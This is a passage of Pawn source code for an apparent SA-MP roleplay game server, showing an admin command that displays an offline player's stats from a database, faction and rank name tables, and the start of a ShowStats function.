	Data[6]=cache_get_field_content_int(0,"pJob");
	Data[7]=cache_get_field_content_int(0,"pWanted");
	Data[8]=cache_get_field_content_int(0,"pPhousekey");
	Data[9]=cache_get_field_content_int(0,"pLeader");
	Data[10]=cache_get_field_content_int(0,"pRank");
	Data[11]=cache_get_field_content_int(0,"pFwarn");
	Data[12]=cache_get_field_content_int(0,"pPunish");
	Data[13]=cache_get_field_content_int(0,"pExp");
	Data[14]=cache_get_field_content_int(0,"pMats");
	Data[15]=cache_get_field_content_int(0,"pDrugs");
	Data[16]=cache_get_field_content_int(0,"pApprovals");
	Data[17]=cache_get_field_content_int(0,"pAccount");
	Data[18]=cache_get_field_content_int(0,"pPnumber");
	Data[19]=cache_get_field_content_int(0,"pConnectTime");
	Data[20]=cache_get_field_content_int(0,"pAFKtime");
	Data[21]=cache_get_field_content_int(0,"pArrested");
	Data[22]=cache_get_field_content_int(0,"pJailTime");
	Data[23]=cache_get_field_content_int(0,"pCrimes");
	Data[24]=cache_get_field_content_int(0,"pDrugs");
	Data[25]=cache_get_field_content_int(0,"pMats");
	Data[26]=cache_get_field_content_int(0,"pLottoNr");
	Data[27]=cache_get_field_content_int(0,"pRob");
	Data[28]=cache_get_field_content_int(0,"pMarriedTo");
	Data[29]=cache_get_field_content_int(0,"pMember");
	Data[30]=cache_get_field_content_int(0,"pFwarn");
	Data[31]=cache_get_field_content_int(0,"pPunish");
	Data[32]=cache_get_field_content_int(0,"pWarns");
	Data[33]=cache_get_field_content_int(0,"pRep");
	Data[34]=cache_get_field_content_int(0,"pGold");
	Data[35]=cache_get_field_content_int(0,"pBox");
	Data[36]=cache_get_field_content_int(0,"pCard");
	Data[37]=cache_get_field_content_int(0,"pSoldier");
	Data[38]=cache_get_field_content_int(0,"pCharge");
	Data[39]=cache_get_field_content_int(0,"pLawyerPoint");
	Data[40]=cache_get_field_content_int(0,"pApproval");
	Data[41]=cache_get_field_content_int(0,"pAdmin");
	Data[42]=cache_get_field_content_int(0,"pHelper");
	Data[43]=cache_get_field_content_int(0,"pAav");
	Data[44]=cache_get_field_content_int(0,"pStaffDays");
	Data[45]=cache_get_field_content_int(0,"pSPoint");
	Data[46]=cache_get_field_content_int(0,"pPoint");
	Data[47]=cache_get_field_content_int(0,"pPbiskey");
	Data[48]=cache_get_field_content_int(0,"pCar_1");
	Data[49]=cache_get_field_content_int(0,"pCar_2");
	Data[50]=cache_get_field_content_int(0,"pVeh1");
	Data[51]=cache_get_field_content_int(0,"pVeh2");
	Data[52]=cache_get_field_content_int(0,"pID");
	Data[53]=cache_get_field_content_int(0,"pHDay");
	Data[54]=cache_get_field_content_int(0,"pEmail");
	Data[55]=cache_get_field_content_int(0,"pHAgr");
	Data[56]=cache_get_field_content_int(0,"pSponser");
	Data[57]=cache_get_field_content_int(0,"pSDay");
	Data[58]=cache_get_field_content_int(0,"pIlPoints");
	Data[59]=cache_get_field_content_int(0,"pHackPoints");
	Data[60]=cache_get_field_content_int(0,"pVip");
	Data[61]=cache_get_field_content_int(0,"pReferral");
	Data[62]=cache_get_field_content_int(0,"pSRob");
	Data[63]=cache_get_field_content_int(0,"pDJ");
	Data[64]=cache_get_field_content_int(0,"pGMute");
	Data[65]=cache_get_field_content_int(0,"pNCard");
	Data[66]=cache_get_field_content_int(0,"pNCNum");
	Data[67]=cache_get_field_content_int(0,"pBuff");
	Data[68]=cache_get_field_content_int(0,"pSoldier");
	new Float:coins=cache_get_field_content_float(0,"pCoins");
	//cache_get_row(0,1,password,handle,128);//pkey
	cache_get_row(0,75,emailss,handle,128);
	if(PINFO[playerid][pAdmin] < Data[41]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
	new string[144];
	new Sex[20];
//	new email = Data[54];
	new jtext[20];
	new married[20];
	strmid(married, Data[28], 0, strlen(Data[28]), 255);
	new sponsor = Data[56];
	new sday = Data[57];
	new hkey = Data[8];
	new vip = Data[60];
	new jlicx = Data[68];
//	new hagr = Data[55];
	new bkey = Data[47];
	new buffx = Data[67];
	new ckey = Data[48];
	new ckey2 = Data[49];
	new vckey = Data[50];
	new vckey2 = Data[51];
	new hagrtext[50];
	new srob = Data[62];
	new ilpoint = Data[58];
	new hpoint = Data[59];
	new refuser = Data[61];
	new ttext[50];
	new jlictxt[20];
	if(jlicx==Data[6]){jlictxt="Yes";}
	if(jlicx!=Data[6]){jlictxt="No";}
	if(Data[29] == 2 || Data[9] == 2) { ttext = "FBI"; }
	else if(Data[29] == 1 || Data[9] == 1) { ttext = "Police Departament"; }
	else if(Data[29] == 3 || Data[9] == 3) { ttext = "National Guard"; }
	else if(Data[29] == 5 || Data[9] == 5) { ttext = "Silence Mafia"; }
	else if(Data[29] == 6 || Data[9] == 6) { ttext = "The Killers Family"; }
	else if(Data[29] == 12 || Data[9] == 12) { ttext = "Dangerous Tiger Family"; }
	else if(Data[29] == 13 || Data[9] == 13) { ttext = "Legendary Men Family"; }
	else if(Data[29] == 14 || Data[9] == 14) { ttext = "Fast N Furious Family"; }
	else if(Data[29] == 15 || Data[9] == 15) { ttext = "Storm Men Family"; }
	else if(Data[29] == 7 || Data[9] == 7) { ttext = "Mayor"; }
	else if(Data[29] == 8 || Data[9] == 8) { ttext = "Hitman Agency"; }
	else if(Data[29] == 4 || Data[9] == 4) { ttext = "Firemen/Paramedic"; }
	else if(Data[29] == 9 || Data[9] == 9) { ttext = "News Reporter"; }
	else if(Data[29] == 10 || Data[9] == 10) { ttext = "Taxi Drivers"; }
	else if(Data[29] == 16 || Data[9] == 16) { ttext = "Tow Truck Company"; }
	else if(Data[29] == 11 || Data[9] == 11) { ttext = "School Instructor"; }
	else if(Data[29] == 17 || Data[9] == 17) { ttext = "Unknowns"; }
	//else if(Data[29] == 21) { ttext = "SolderShip"; }// It's need to change!
	else { ttext = "Civilian"; }
	   new rtext[64];
			if(Data[29] == 1 || Data[9] == 1)//PD Ranks
			{
				if(Data[10] == 1) { rtext = "Soldier"; }
				else if(Data[10] == 2) { rtext = "Police Officer"; }
				else if(Data[10] == 3) { rtext = "Sergeant"; }
				else if(Data[10] == 4) { rtext = "Captain"; }
				else if(Data[10] == 5) { rtext = "Colonel"; }
				else if(Data[10] == 6) { rtext = "Chief"; }
				else if(Data[10] == 7) { rtext = "PD Leader"; }

			}
			else if(Data[29] == 2 || Data[9] == 2)//FBI Ranks
			{
				if(Data[10] == 1) { rtext = "New Agent Trainee"; }
				else if(Data[10] == 2) { rtext = "Special Agent"; }
				else if(Data[10] == 3) { rtext = "Supervisory Special Agent"; }
				else if(Data[10] == 4) { rtext = "Unit Chief"; }
				else if(Data[10] == 5) { rtext = "Deputy Director"; }
				else if(Data[10] == 6) { rtext = "Director"; }
				else if(Data[10] == 7) { rtext = "FBI Leader"; }

			}
			else if(Data[29] == 3 || Data[9] == 3)//NG Ranks
			{
				if(Data[10] == 1) { rtext = "Private"; }
				else if(Data[10] == 2) { rtext = "Corporal"; }
				else if(Data[10] == 3) { rtext = "Sergeant"; }
				else if(Data[10] == 4) { rtext = "Master Sergeant"; }
				else if(Data[10] == 5) { rtext = "Sergeant Major"; }
				else if(Data[10] == 6) { rtext = "Marshal"; }
				else if(Data[10] == 7) { rtext = "NG Leader"; }

			}
			else if(Data[29] == 4 || Data[9] == 4)//Medic Ranks
			{
				if(Data[10] == 1) { rtext = "Private"; }
				else if(Data[10] == 2) { rtext = "Candidate Fire Paramedic"; }
				else if(Data[10] == 3) { rtext = "Fire Paramedic"; }
				else if(Data[10] == 4) { rtext = "Paramedic in charge"; }
				else if(Data[10] == 5) { rtext = "Ambulance Commander"; }
				else if(Data[10] == 6) { rtext = "Paramedic Field"; }
				else if(Data[10] == 7) { rtext = "Chief Paramedic"; }

			}
			else if(Data[29] == 5 || Data[9] == 5)//Silence Family Ranks
			{
				if(Data[10] == 1) { rtext = "Piccioto"; }
				else if(Data[10] == 2) { rtext = "Soldato"; }
				else if(Data[10] == 3) { rtext = "Sgarrista"; }
				else if(Data[10] == 4) { rtext = "Caporegime"; }
				else if(Data[10] == 5) { rtext = "Vicario"; }
				else if(Data[10] == 6) { rtext = "Consigliere"; }
				else if(Data[10] == 7) { rtext = "Don The Silence"; }

			}
			else if(Data[29] == 6 || Data[9] == 6)//The Killers Family Ranks
			{
				if(Data[10] == 1) { rtext = "Piccioto"; }
				else if(Data[10] == 2) { rtext = "Soldato"; }
				else if(Data[10] == 3) { rtext = "Sgarrista"; }
				else if(Data[10] == 4) { rtext = "Caporegime"; }
				else if(Data[10] == 5) { rtext = "Vicario"; }
				else if(Data[10] == 6) { rtext = "Consigliere"; }
				else if(Data[10] == 7) { rtext = "Don The Killers"; }

			}
			else if(Data[29] == 7 || Data[9] == 7)//Mayor ranks
			{
				if(Data[10] == 7) { rtext = "Mayor"; }

			}
			else if(Data[29] == 8 || Data[9] == 8)//Hitman Ranks
			{
				if(Data[10] == 1) { rtext = "FreeLancer"; }
				else if(Data[10] == 2) { rtext = "Marksman"; }
				else if(Data[10] == 3) { rtext = "Agent"; }
				else if(Data[10] == 4) { rtext = "Special Agent"; }
				else if(Data[10] == 5) { rtext = "Vice-Director"; }
				else if(Data[10] == 6) { rtext = "Co-Director"; }
				else if(Data[10] == 7) { rtext = "Director"; }

			}
			else if(Data[29] == 9 || Data[9] == 9)//NR Ranks
			{
				if(Data[10] == 1) { rtext = "Intern"; }
				else if(Data[10] == 2) { rtext = "Intern"; }
				else if(Data[10] == 3) { rtext = "Local Reporter"; }
				else if(Data[10] == 4) { rtext = "Local Editor"; }
				else if(Data[10] == 5) { rtext = "Network Anchor"; }
				else if(Data[10] == 6) { rtext = "Network Editor"; }
				else if(Data[10] == 7) { rtext = "Network Producer"; }
			}
			else if(Data[29] == 10 || Data[9] == 10)//Taxi Company Ranks
			{
				if(Data[10] == 1) { rtext = "Trainee"; }
				else if(Data[10] == 2) { rtext = "Trainee"; }
				else if(Data[10] == 3) { rtext = "Taxi Rookie"; }
				else if(Data[10] == 4) { rtext = "Cabbie"; }
				else if(Data[10] == 5) { rtext = "Dispatcher"; }
				else if(Data[10] == 6) { rtext = "Shift Supervisor"; }
				else if(Data[10] == 7) { rtext = "Taxi Company Owner"; }
			}
			else if(Data[29] == 11 || Data[9] == 11)//Driving/Flying School Ranks
			{
				if(Data[10] == 1) { rtext = "Trainee"; }
				else if(Data[10] == 2) { rtext = "Trainee"; }
				else if(Data[10] == 3) { rtext = "Instructor"; }
				else if(Data[10] == 4) { rtext = "Senior Instructor"; }
				else if(Data[10] == 5) { rtext = "Manager"; }
				else if(Data[10] == 6) { rtext = "Under Boss"; }
				else if(Data[10] == 7) { rtext = "Boss"; }
			}
			else if(Data[29] == 12 || Data[9] == 12)//Dangerous Tigers Family Ranks
			{
				if(Data[10] == 1) { rtext = "Piccioto"; }
				else if(Data[10] == 2) { rtext = "Soldato"; }
				else if(Data[10] == 3) { rtext = "Sgarrista"; }
				else if(Data[10] == 4) { rtext = "Caporegime"; }
				else if(Data[10] == 5) { rtext = "Vicario"; }
				else if(Data[10] == 6) { rtext = "Consigliere"; }
				else if(Data[10] == 7) { rtext = "Don Dangerous Tiger"; }

			}
			else if(Data[29] == 17 || Data[9] == 17)//Hacker Ranks
			{
				if(Data[10] == 1) { rtext = "New Hacker"; }
				else if(Data[10] == 2) { rtext = "Trial Hacker"; }
				else if(Data[10] == 3) { rtext = "Hacker"; }
				else if(Data[10] == 4) { rtext = "Perfect Hacker"; }
				else if(Data[10] == 5) { rtext = "Old Hacker"; }
				else if(Data[10] == 6) { rtext = "Private Hacker"; }
				else if(Data[10] == 7) { rtext = "Hackers Leader"; }

			}
			else if(Data[29] == 19 || Data[9] == 19)//Dangerous Tigers Family Ranks
			{
				if(Data[10] == 1) { rtext = "1"; }
				else if(Data[10] == 2) { rtext = "2"; }
				else if(Data[10] == 3) { rtext = "3"; }
				else if(Data[10] == 4) { rtext = "4"; }
				else if(Data[10] == 5) { rtext = "5"; }
				else if(Data[10] == 6) { rtext = "Sub-Leader"; }
				else if(Data[10] == 7) { rtext = "Leader"; }

			}
			else if(Data[29] == 20 || Data[9] == 20)//Dangerous Tigers Family Ranks
			{
				if(Data[10] == 1) { rtext = "1"; }
				else if(Data[10] == 2) { rtext = "2"; }
				else if(Data[10] == 3) { rtext = "3"; }
				else if(Data[10] == 4) { rtext = "4"; }
				else if(Data[10] == 5) { rtext = "5"; }
				else if(Data[10] == 6) { rtext = "Sub-Leader"; }
				else if(Data[10] == 7) { rtext = "Leader"; }

			}
			else if(Data[29] == 13 || Data[9] == 13)//Legendary Men Family Ranks
			{
				if(Data[10] == 1) { rtext = "Piccioto"; }
				else if(Data[10] == 2) { rtext = "Soldato"; }
				else if(Data[10] == 3) { rtext = "Sgarrista"; }
				else if(Data[10] == 4) { rtext = "Caporegime"; }
				else if(Data[10] == 5) { rtext = "Vicario"; }
				else if(Data[10] == 6) { rtext = "Consigliere"; }
				else if(Data[10] == 7) { rtext = "Don Legendary Men"; }

			}
			else if(Data[29] == 14 || Data[9] == 14)//Fast N Furious Family Ranks
			{
				if(Data[10] == 1) { rtext = "Piccioto"; }
				else if(Data[10] == 2) { rtext = "Soldato"; }
				else if(Data[10] == 3) { rtext = "Sgarrista"; }
				else if(Data[10] == 4) { rtext = "Caporegime"; }
				else if(Data[10] == 5) { rtext = "Vicario"; }
				else if(Data[10] == 6) { rtext = "Consigliere"; }
				else if(Data[10] == 7) { rtext = "Don The Fast N Furious"; }

			}
			else if(Data[29] == 15 || Data[9] == 15)//sm Family Ranks
			{
				if(Data[10] == 1) { rtext = "Piccioto"; }
				else if(Data[10] == 2) { rtext = "Soldato"; }
				else if(Data[10] == 3) { rtext = "Sgarrista"; }
				else if(Data[10] == 4) { rtext = "Caporegime"; }
				else if(Data[10] == 5) { rtext = "Vicario"; }
				else if(Data[10] == 6) { rtext = "Consigliere"; }
				else if(Data[10] == 7) { rtext = "Don Storm Men"; }

			}
			else if(Data[29] == 16 || Data[9] == 16)//TCC Ranks
			{
				if(Data[10] == 1) { rtext = "Trainee"; }
				else if(Data[10] == 2) { rtext = "Trainee"; }
				else if(Data[10] == 3) { rtext = "Mechanic"; }
				else if(Data[10] == 4) { rtext = "Senior Mechanic"; }
				else if(Data[10] == 5) { rtext = "Manager"; }
				else if(Data[10] == 6) { rtext = "Co-Leader"; }
				else if(Data[10] == 7) { rtext = "Leader"; }
			}
	   else
	   {
		  rtext = "None";
	   }
	if(Data[6] == 1) { jtext = "Detective"; }
	else if(Data[6] == 2) { jtext = "Lawyer"; }
	else if(Data[6] == 4) { jtext = "Drugs Dealer"; }
	else if(Data[6] == 5) { jtext = "Car Jacker"; }
	else if(Data[6] == 7) { jtext = "Car Mechanic"; }
	else if(Data[6] == 9) { jtext = "Arms Dealer"; }
	else if(Data[6] == 14) { jtext = "Bus Driver"; }
	else if(Data[6] == 16) { jtext = "Trucker"; }
	else if(Data[6] == 18) { jtext = "Farmer"; }
	else if(Data[6] == 20) { jtext = "Garbage man"; }
	else if(Data[6] == 21) { jtext = "Pizza Boy"; }
	else if(Data[6] == 22) { jtext = "Sweeper"; }
	else if(Data[6] == 23) { jtext = "Liquor Dealer"; }
	else if(Data[6] == 24) { jtext = "Oil Dealer"; }
	else { jtext = "Unemployed"; }
	new ptime = Data[19];
    new viptxt[20];
	if(vip == 1) { viptxt = "Yes"; }
	if(vip == 0) { viptxt = "No"; }
	new afktime = Data[20];
	new card[40];
	if(Data[36] == 1) {card = "Yes";}
	//else if(Data[36] == 3) {format(card, sizeof(card), "No, soldier for %d hours",Data[37]);}
	else  {card = "No";}
	if(Data[1]==1)Sex = "Male";
	else if(Data[1]==2)Sex = "Female";
	new JailTime[50];
	if(Data[2]>0)format(JailTime,50,"Yes");
	else if(Data[2]<=0)JailTime="No";
	if(Data[55]>0)format(hagrtext,50,"Yes");
	else if(Data[55]<=0)hagrtext="No";
	new Premium[50];
	if(Data[3]>0)format(Premium,50,"Yes");
	else if(Data[3]==0)Premium="No";
	new MuteTime[50];
	if(Data[4]>0)format(MuteTime,50,"Yes");
	else if(Data[4]==0)MuteTime="No";
	new nxtlevel = Data[5]+1;
	new expamount;
	new costlevel = nxtlevel*levelcost;
	if(nxtlevel < 8) {expamount = nxtlevel*2;}
	else if(nxtlevel < 15 && nxtlevel > 7) {expamount = nxtlevel*3;}
	else if(nxtlevel > 14) {expamount = nxtlevel*4;}
	//
	new coordsstring[144];
	SendMessage(playerid, CRISTIAN,"_______________________________________________");
	format(coordsstring, sizeof(coordsstring),"*** %s ***",name);
	SCM(playerid, COLOR_CRS5, coordsstring);
	format(coordsstring, sizeof(coordsstring), "Level:[%d] Sex:[%s] Cash:[$%s] Bank:[$%s] PhoneNr:[%s]", Data[5],Sex,FormatNumber(Data[0]),FormatNumber(Data[17]),FormatPhoneNumber(Data[18]));
	SCM(playerid, COLOR_CRS5, coordsstring);
	format(coordsstring, sizeof(coordsstring), "Hours Played:[%d] AFK Time:[%d] TimesArrested:[%d] Respect:[%d/%d] Level up:[$%s] Premium Account:[%s]", Data[19],Data[20],Data[21],Data[13],expamount,FormatNumber(costlevel),Premium);
	SCM(playerid, COLOR_CRS5, coordsstring);
	if(Data[22])
	{
	format(coordsstring, sizeof(coordsstring), "Crimes:[%d] Drugs:[%d] Materials:[%d] Jailed:[%s, %d Sec] Lotto Number:[%d] Job:[%s] Rob Points:[%d] ShopRobPoints:[%d]", Data[23],Data[24],Data[25],JailTime,Data[22],Data[26],jtext,Data[27],srob);
	SCM(playerid, COLOR_CRS5, coordsstring);
	}
	else
	{
	format(coordsstring, sizeof(coordsstring), "Crimes:[%d] Drugs:[%d] Materials:[%d] Jailed:[%s] Lotto Number:[%d] Job:[%s] Rob Points:[%d] ShopRobPoints:[%d]", Data[23],Data[24],Data[25],JailTime,Data[26],jtext,Data[27],srob);
	SCM(playerid, COLOR_CRS5, coordsstring);
	}
	format(coordsstring, sizeof(coordsstring), "Married With:[%s] Faction:[%s] Rank:[%s] FactionWarns:[%d/3] FPunish:[%d/80] Warns:[%d/3]", married,ttext,rtext,Data[30],Data[31],Data[32]);
	SCM(playerid, COLOR_CRS5, coordsstring);
	new total = ptime + afktime;
	format(coordsstring, sizeof(coordsstring), "Rep Point:[%i] Golds:[%i] Total Played:[%d] Boxes:[%d] IllicitPoints:[%d] VIP:[%s] JobLicense:[%s]",Data[33],Data[34],total,Data[35], ilpoint, viptxt, jlictxt);
	SCM(playerid, COLOR_CRS5, coordsstring);
	if(Data[65]==0)
	{
	format(coordsstring, sizeof(coordsstring), "SIM Charge:[$%s] Email:[%s] Grapes:[%s] Liquors:[%s] Buffs:[%s] %ss:[%f]",FormatNumber(Data[38]), emailss, FormatNumber(Data[63]), FormatNumber(Data[64]), FormatNumber(buffx), GetCoinName(), coins);
	SCM(playerid, COLOR_CRS5, coordsstring);
	}
	else
	{
	format(coordsstring, sizeof(coordsstring), "SIM Charge:[$%s] Email:[%s] CardExpire:[%d] CardNumber:[098-%d] Grapes:[%s] Liquors:[%s] Buffs:[%s] %ss:[%f]",FormatNumber(Data[38]), emailss, Data[65], Data[66], FormatNumber(Data[63]), FormatNumber(Data[64]), FormatNumber(buffx), GetCoinName(), coins);
	SCM(playerid, COLOR_CRS5, coordsstring);
	}
	if (Data[29] == 1 || Data[9] == 1 || Data[29] == 2 || Data[9] == 2 || Data[29] == 3 || Data[9] == 3 || Data[29] == 20 || Data[9] == 20)
	{
	format(coordsstring, sizeof(coordsstring), "Faction Stats: Lawyer Points:[%d]", Data[39]);
	SCM(playerid, COLOR_CRS5, coordsstring);
	}
	if (Data[6] == 2)
	{
	format(coordsstring, sizeof(coordsstring), "Job's Stats: Approval:[%d]", Data[40]);
	SCM(playerid, COLOR_CRS5, coordsstring);
	}
	if(Data[29] == 17 || Data[9] == 17)
	{
	format(coordsstring, sizeof(coordsstring), "Faction Stats: HackPoints:[%d]", hpoint);
	SCM(playerid, COLOR_CRS5, coordsstring);
	}
	if (PINFO[playerid][pAdmin] != 0)
	{
	format(coordsstring, sizeof(coordsstring), "AV:[%i] DaysInStaff:[%d] StaffPoint:[%d] Point:[%d]",Data[43], Data[44], Data[45], Data[46]);
	SCM(playerid, COLOR_CRS5, coordsstring);
	}
	if (PINFO[playerid][pAdmin] >= 1)
	{
	if(refuser != 0)
	{
	if(bkey < 500)
	{
	format(coordsstring, sizeof(coordsstring), "House:[%d] Biz:[%d] ReferralID:[%d] UserOfReferral:[%d]",hkey,bkey,Data[52],refuser);
	SCM(playerid, COLOR_CRS5, coordsstring);
	format(coordsstring, sizeof(coordsstring), "Veh1:[%d] Veh2:[%d] Car1:[%d] Car2:[%d]",vckey,vckey2,ckey,ckey2);
	SCM(playerid, COLOR_CRS5, coordsstring);
	}
	if(bkey >= 500)
	{
	if(bkey != 9999)
	{
	format(coordsstring, sizeof(coordsstring), "House:[%d] SBiz:[%d] ReferralID:[%d] UserOfReferral:[%d]",hkey,bkey-500,Data[52],refuser);
	SCM(playerid, COLOR_CRS5, coordsstring);
	format(coordsstring, sizeof(coordsstring), "Veh1:[%d] Veh2:[%d] Car1:[%d] Car2:[%d]",vckey,vckey2,ckey,ckey2);
	SCM(playerid, COLOR_CRS5, coordsstring);
	}
	else
	{
	format(coordsstring, sizeof(coordsstring), "House:[%d] Biz:[No] ReferralID:[%d] UserOfReferral:[%d]",hkey,Data[52],refuser);
	SCM(playerid, COLOR_CRS5, coordsstring);
	format(coordsstring, sizeof(coordsstring), "Veh1:[%d] Veh2:[%d] Car1:[%d] Car2:[%d]",vckey,vckey2,ckey,ckey2);
	SCM(playerid, COLOR_CRS5, coordsstring);
	}
	}
	}
	else if(refuser == 0)
	{
	if(bkey < 500)
	{
	format(coordsstring, sizeof(coordsstring), "House:[%d] Biz:[%d] ReferralID:[%d]",hkey,bkey,Data[52]);
	SCM(playerid, COLOR_CRS5, coordsstring);
	format(coordsstring, sizeof(coordsstring), "Veh1:[%d] Veh2:[%d] Car1:[%d] Car2:[%d]",vckey,vckey2,ckey,ckey2);
	SCM(playerid, COLOR_CRS5, coordsstring);
	}
	if(bkey >= 500)
	{
	if(bkey != 9999)
	{
	format(coordsstring, sizeof(coordsstring), "House:[%d] SBiz:[%d] ReferralID:[%d]",hkey,bkey-500,Data[52]);
	SCM(playerid, COLOR_CRS5, coordsstring);
	format(coordsstring, sizeof(coordsstring), "Veh1:[%d] Veh2:[%d] Car1:[%d] Car2:[%d]",vckey,vckey2,ckey,ckey2);
	SCM(playerid, COLOR_CRS5, coordsstring);
	}
	else
	{
	format(coordsstring, sizeof(coordsstring), "House:[%d] Biz:[No] ReferralID:[%d]",hkey,Data[52]);
	SCM(playerid, COLOR_CRS5, coordsstring);
	format(coordsstring, sizeof(coordsstring), "Veh1:[%d] Veh2:[%d] Car1:[%d] Car2:[%d]",vckey,vckey2,ckey,ckey2);
	SCM(playerid, COLOR_CRS5, coordsstring);
	}
	}
	}
	}
	if (Data[41] == 7 || Data[41] == 8 || Data[41] == 9)
	{
	format(coordsstring, sizeof(coordsstring), "Hoster day(s) remaining:[%d] HosterLicense:[%s]",Data[53], hagrtext);
	SCM(playerid, COLOR_CRS5, coordsstring);
	}
	if (sponsor == 1)
	{
	format(coordsstring, sizeof(coordsstring), "Sponsor day(s) remaining:[%d]",sday);
	SCM(playerid, COLOR_CRS5, coordsstring);
	}
	SendMessage(playerid, CRISTIAN,"_______________________________________________");
	format(string,sizeof(string),"[Admin-Warn]: {FFFFFF}Admin %s has checked %s's stats (Offline)",RPName(playerid),name);
	SendAdminMessage(COLOR_AdminWarn,string);
	return 1;
}


public ShowStats(playerid,targetid)
{
	if(IsPlayerConnected(playerid)&&IsPlayerConnected(targetid))
	{

	   new atext[20];
	   if(PlayerInfo[targetid][pSex] == 1) { atext = "Male"; }
	   else if(PlayerInfo[targetid][pSex] == 2) { atext = "Female"; }
	   else if(PlayerInfo[targetid][pSex] == 3) { atext = "Male"; }
	   else if(PlayerInfo[targetid][pSex] == 4) { atext = "Female"; }

	   new ttext[50];
	   if(PlayerInfo[targetid][pMember] == 2 || PlayerInfo[targetid][pLeader] == 2) { ttext = "FBI"; }
	   else if(PlayerInfo[targetid][pMember] == 1 || PlayerInfo[targetid][pLeader] == 1) { ttext = "Police Departament"; }
	   else if(PlayerInfo[targetid][pMember] == 3 || PlayerInfo[targetid][pLeader] == 3) { ttext = "National Guard"; }
	   else if(PlayerInfo[targetid][pMember] == 5 || PlayerInfo[targetid][pLeader] == 5) { ttext = "Silence Mafia"; }
	   else if(PlayerInfo[targetid][pMember] == 6 || PlayerInfo[targetid][pLeader] == 6) { ttext = "The Killers Family"; }
	   else if(PlayerInfo[targetid][pMember] == 12 || PlayerInfo[targetid][pLeader] == 12) { ttext = "Dangerous Tiger Family"; }
	   else if(PlayerInfo[targetid][pMember] == 13 || PlayerInfo[targetid][pLeader] == 13) { ttext = "Legendary Men Family"; }
	   else if(PlayerInfo[targetid][pMember] == 14 || PlayerInfo[targetid][pLeader] == 14) { ttext = "Fast N Furious Family"; }
	   else if(PlayerInfo[targetid][pMember] == 15 || PlayerInfo[targetid][pLeader] == 15) { ttext = "Storm Men Family"; }
	   else if(PlayerInfo[targetid][pMember] == 7 || PlayerInfo[targetid][pLeader] == 7) { ttext = "Mayor"; }
	   else if(PlayerInfo[targetid][pMember] == 8 || PlayerInfo[targetid][pLeader] == 8) { ttext = "Hitman Agency"; }
	   else if(PlayerInfo[targetid][pMember] == 4 || PlayerInfo[targetid][pLeader] == 4) { ttext = "Firemen/Paramedic"; }
	   else if(PlayerInfo[targetid][pMember] == 9 || PlayerInfo[targetid][pLeader] == 9) { ttext = "News Reporter"; }
	   else if(PlayerInfo[targetid][pMember] == 10 || PlayerInfo[targetid][pLeader] == 10) { ttext = "Taxi Drivers"; }
	   else if(PlayerInfo[targetid][pMember] == 16 || PlayerInfo[targetid][pLeader] == 16) { ttext = "Tow Truck Company"; }
	   else if(PlayerInfo[targetid][pMember] == 11 || PlayerInfo[targetid][pLeader] == 11) { ttext = "School Instructor"; }
	   else if(PlayerInfo[targetid][pMember] == 17 || PlayerInfo[targetid][pLeader] == 17) { ttext = "Unknowns"; }
		//else if(PlayerInfo[targetid][pLeader] == 21) { ttext = "SolderShip"; }// It's need to change!
	   else { ttext = "Civilian"; }
	   new rtext[64];
			if(PlayerInfo[targetid][pMember] == 1 || PlayerInfo[targetid][pLeader] == 1)//PD Ranks
			{
				if(PlayerInfo[targetid][pRank] == 1) { rtext = "Soldier"; }
				else if(PlayerInfo[targetid][pRank] == 2) { rtext = "Police Officer"; }
				else if(PlayerInfo[targetid][pRank] == 3) { rtext = "Sergeant"; }
				else if(PlayerInfo[targetid][pRank] == 4) { rtext = "Captain"; }
				else if(PlayerInfo[targetid][pRank] == 5) { rtext = "Colonel"; }
				else if(PlayerInfo[targetid][pRank] == 6) { rtext = "Chief"; }
				else if(PlayerInfo[targetid][pRank] == 7) { rtext = "PD Leader"; }

			}
			else if(PlayerInfo[targetid][pMember] == 2 || PlayerInfo[targetid][pLeader] == 2)//FBI Ranks
			{
				if(PlayerInfo[targetid][pRank] == 1) { rtext = "New Agent Trainee"; }
				else if(PlayerInfo[targetid][pRank] == 2) { rtext = "Special Agent"; }
				else if(PlayerInfo[targetid][pRank] == 3) { rtext = "Supervisory Special Agent"; }
				else if(PlayerInfo[targetid][pRank] == 4) { rtext = "Unit Chief"; }
				else if(PlayerInfo[targetid][pRank] == 5) { rtext = "Deputy Director"; }
				else if(PlayerInfo[targetid][pRank] == 6) { rtext = "Director"; }
				else if(PlayerInfo[targetid][pRank] == 7) { rtext = "FBI Leader"; }

			}
			else if(PlayerInfo[targetid][pMember] == 3 || PlayerInfo[targetid][pLeader] == 3)//NG Ranks
			{
				if(PlayerInfo[targetid][pRank] == 1) { rtext = "Private"; }
				else if(PlayerInfo[targetid][pRank] == 2) { rtext = "Corporal"; }
				else if(PlayerInfo[targetid][pRank] == 3) { rtext = "Sergeant"; }
				else if(PlayerInfo[targetid][pRank] == 4) { rtext = "Master Sergeant"; }
				else if(PlayerInfo[targetid][pRank] == 5) { rtext = "Sergeant Major"; }
				else if(PlayerInfo[targetid][pRank] == 6) { rtext = "Marshal"; }
				else if(PlayerInfo[targetid][pRank] == 7) { rtext = "NG Leader"; }

			}
			else if(PlayerInfo[targetid][pMember] == 4 || PlayerInfo[targetid][pLeader] == 4)//Medic Ranks
			{
				if(PlayerInfo[targetid][pRank] == 1) { rtext = "Private"; }
				else if(PlayerInfo[targetid][pRank] == 2) { rtext = "Candidate Fire Paramedic"; }
				else if(PlayerInfo[targetid][pRank] == 3) { rtext = "Fire Paramedic"; }
				else if(PlayerInfo[targetid][pRank] == 4) { rtext = "Paramedic in charge"; }
				else if(PlayerInfo[targetid][pRank] == 5) { rtext = "Ambulance Commander"; }
				else if(PlayerInfo[targetid][pRank] == 6) { rtext = "Paramedic Field"; }
				else if(PlayerInfo[targetid][pRank] == 7) { rtext = "Chief Paramedic"; }

			}
			else if(PlayerInfo[targetid][pMember] == 5 || PlayerInfo[targetid][pLeader] == 5)//Silence Family Ranks
			{
				if(PlayerInfo[targetid][pRank] == 1) { rtext = "Piccioto"; }
				else if(PlayerInfo[targetid][pRank] == 2) { rtext = "Soldato"; }
				else if(PlayerInfo[targetid][pRank] == 3) { rtext = "Sgarrista"; }
				else if(PlayerInfo[targetid][pRank] == 4) { rtext = "Caporegime"; }
				else if(PlayerInfo[targetid][pRank] == 5) { rtext = "Vicario"; }
				else if(PlayerInfo[targetid][pRank] == 6) { rtext = "Consigliere"; }
				else if(PlayerInfo[targetid][pRank] == 7) { rtext = "Don The Silence"; }

			}
